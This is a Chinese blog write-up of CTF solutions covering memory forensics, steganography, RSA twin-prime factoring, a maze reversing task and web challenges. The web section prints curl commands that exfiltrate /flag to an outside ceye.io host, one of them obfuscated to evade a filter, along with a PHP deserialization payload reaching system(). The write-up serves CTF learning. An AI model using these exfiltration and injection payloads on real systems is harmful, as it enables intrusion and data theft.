本篇內容
MISC:
Crypto:
Web:
Reverse:
剛打了DASCTF六月團隊賽,情況雖不是很理想,但也記錄一下團隊解題情況。
嘗試了很久發現沒思路,搜索一下,發現是安恆DASCTF 四月戰原題,甚至連flag
都沒變。
//查找含“keyboard”的文件
volatility -f Keyboard.raw --profile=Win7SP1x64 filescan | grep keyboard
//將t.txt提取出來,-Q是偏移量,-D是存儲的文件夾
volatility -f Keyboard.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003d700880 -D ./
查看file.None.0xfffffa8004cefa80.dat
文件內容
root@Kali:~ # cat file.None.0xfffffa8004cefa80.dat
2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here
2020- 3-29 22:35:30
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu
2020- 3-29 22:39:24
But the password is in uppercase
2020- 3-29 22:38:55
a
由ctfwikiCRYPTO
可知在ctfwiki裏去查找,解密方式爲
解密得到密碼KEYBOARDDRAOBYEK
密文:CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
明文:VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
小寫:veracrypt password is keyboarddraobyek
使用VeraCrypt
軟件打開Secret
,此軟件下載地址爲https://www.veracrypt.fr/en/Downloads.html。
點擊“Mount”掛載後需要我們輸入剛纔得到的密碼
OK後本機就會多一個盤符G
,裏面是一個虛擬磁盤here.vhd
打開計算機管理
,在磁盤管理
處右鍵附加VHD
,就會再多一個盤符H
。
裏面有個假的flag
NTFS隱寫
,使用NtfsStreamsEditor2
工具打開得到flag
flag爲4a02f6dc603c377a234df479609d237c
。
透明度
使用StegSolve
隱寫工具打開,發現Alpha plane7
至Alpha plane 0
有異常
分析一下,Analyse
->Data Extract
,結果如下:
發現是zip壓縮包,直接Save Bin
保存爲zip,解壓發現需要密碼。
由密碼是nep__.txt
可知爆破即可,得到密碼nepnb
。
查看得到flag。
flag爲a22a96d7fc5dfd2182c593630851e44fed0adbe6
。
Gemini_Man
題目一開始的提示是簡單孿生素數生成的N的分解
。
百度了一下孿生素數:
孿生素數就是指相差2的素數對,例如3和5,5和7,11和13…。
素數對(p,p+2)稱爲孿生素數。
此題已知N、C
,可知是個RSA的題目。
也就是N = p(p+2)
,N+1 = p(p+2)+1=p^2+2p+1=(p+1)^2
。
即對N+1
開方的值就是p+1
。
使用Python寫個腳本跑出p+1
來
import math
import gmpy2
f1 = open('N.txt')
f2 = open('p.txt','w')
n = int(f1.read()) + 1
p = gmpy2.iroot(n, 2)
f2.write(str(p))
f1.close()
f2.close()
得到p、q
如下:
617951......154111 //此處的......省略了幾萬個數字
617951......154113 //此處的......省略了幾萬個數字
e
的值題目沒給,就用默認的65537
,跑RSA腳本:
import gmpy2 as gp
import binascii
f = open('res.txt','a+')
#同樣的,此處的......省略了幾萬個數字
p = 617951......154111
q = 617951......154113
e = 65537
c = 129592......625910
p = gp.mpz(p)
q = gp.mpz(q)
e = gp.mpz(e)
c = gp.mpz(c)
n = p*q
def fastExpMod(c, d, n):
result = 1
while d != 0:
if (d&1) == 1:
# di = 1, then mul
result = (result * c) % n
d >>= 1
# c, c^2, c^4, c^8, ... , c^(2^n)
c = (c*c) % n
return result
phi = (p-1) * (q-1)
d = gp.invert(e, phi)
f.write('d='+str(d))
m = fastExpMod(c,d,n)
f.write('\n\nm='+str(m))
f.write('\n\nhex(m)[2:]='+hex(m)[2:])
f.write('\n\nbytes.fromhex(hex(m)[2:])='+str(bytes.fromhex(hex(m)[2:])))
f.close()
腳本跑了一個晚上,終於跑出了結果
flag爲e540b1fd7d4459619eecd244c12ae5c4
。
目前題目不能訪問,記錄一下思路:
能執行命令,但是沒有回顯,使用外帶通道,藉助CEYE平臺。
os.system('curl xxxx.ceye.io/`cat /flag`')
後來這道題目整改了,好像此payload不能用了。
目前題目不能訪問,記錄一下思路:
能執行命令,但是沒有回顯,使用外帶通道,藉助CEYE平臺。
過濾了os、system
之類的,藉助exec()函數。
exec('o'+'s'+'.sy'+'stem("curl xxxx.ceye.io/`cat /flag`")')
index.php
:
<?php
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'] ;
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));
redirect('info.php');
}
class.php
:
<?php
class User{
protected $username;
protected $password;
protected $admin;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}
public function get_admin(){
return $this->admin;
}
}
class Hacker_A{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function __destruct() {
if(stristr($this->c2e38, "admin")===False){
echo("must be admin");
}else{
echo("good luck");
}
}
}
class Hacker_B{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function get_c2e38(){
return $this->c2e38;
}
public function __toString(){
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}
}
class Hacker_C{
public $name = 'test';
public function __invoke(){
var_dump(system('cat /flag'));
}
}
pop鏈分析:
在Hacker_A中,__destruct()方法裏將$this->c2e38與“admin”比較,觸發Hacker_B的__toString();
在Hacker_B中,__toString()方法裏通過調用get_c2e38()方法獲取了$c2e38屬性,並作爲方法調用$tmp(),進而觸發Hacker_C的__invoke()方法;
在Hacker_C中,__invoke()方法裏的system('cat /flag'),執行得到flag
構造pop鏈:
$c = new Hacker_C();
$b = new Hacker_B($c);
$a = new Hacker_A($b);
print_r(serialize($a));
得到:
O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}
接着看functions.php
:
<?php
function redirect($path)
{
header('Location: ' . $path);
exit();
}
function add($data)
{
$data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
return $data;
}
function reduce($data)
{
$data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);
return $data;
}
function check($data)
{
if(stristr($data, 'c2e38')!==False){
die('exit');
}
}
在index.php,info.php
裏用到了add()、reduce()
方法,輸出一下看看結果:
$username = chr(0).'*'.chr(0);
$password = '\0*\0';
$user = new User($username, $password);
print_r(serialize($user));echo '<br>';
$_SESSION['info'] = add(serialize($user));
print_r(add(serialize($user)));echo '<br>';
print_r(reduce($_SESSION['info']));echo '<br>';
得到:
O:4:"User":3:{s:11:"*username";s:3:"*";s:11:"*password";s:5:"\0*\0";s:8:"*admin";i:0;}
O:4:"User":3:{s:11:"\0*\0username";s:3:"\0*\0";s:11:"\0*\0password";s:5:"\0*\0";s:8:"\0*\0admin";i:0;}
O:4:"User":3:{s:11:"*username";s:3:"*";s:11:"*password";s:5:"*";s:8:"*admin";i:0;}
原本chr(0).'*'.chr(0)
的長度爲3,\0*\0
長度爲5。
但序列化後可以明顯看到將chr(0).'*'.chr(0)
替換成\0*\0
,或將\0*\0
替換成chr(0).'*'.chr(0)
後顯示的長度是不變的。這裏就存在字符逃逸
的現象。
這裏需要吞掉序列化時自動產生的";s:11:"%00*%00password";s:x:"
;
然後由於需要利用之前構造pop鏈時生成的反序列化結果,長度大於100,
所以可以利用reduce()
方法吞掉";s:11:"%00*%00password";s:xxx:"
共28個字符。
需要將14個\0*\0
替換成%00*%00
才能吞掉28個字符。
需要自己添加上s:8:"%00*%00admin";i:1;
使admin不爲0
最終payload
:
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=";s:11:"%00*%00password";s:0:"";s:8:"%00*%00admin";i:1;O:8:"Hacker_A":1:{S:5:"c2\6538";O:8:"Hacker_B":1:{S:5:"c2\6538";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}
百度easy_maze
,發現是迷宮,然後運氣好的發現了類似的地方。
共有100個數,按照10*10來排列,並將0
改爲1
,以便觀察
1OOOO1111#
111OO1OOOO
OO1OO1111O
O11OOOOO1O
O1OOOO111O
O11OO11OOO
OO1OO1OOOO
OO1111OOOO
OOOOOOOOOO
OOOOOOOOOO
使用IDA打開看到106、107、117、104
,ascii對應於j(下)、k(右)、u(上)、h(左)
。
走迷宮如下:
得到
jkkjjhjjkjjkkkuukukkuuhhhuukkkk
//MD5加密後
d77528cce6647b2c7ae7b8969023b713
flag爲d77528cce6647b2c7ae7b8969023b713
。
========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處。
本文網址:https://blog.csdn.net/hiahiachang/article/details/106974553
========================================================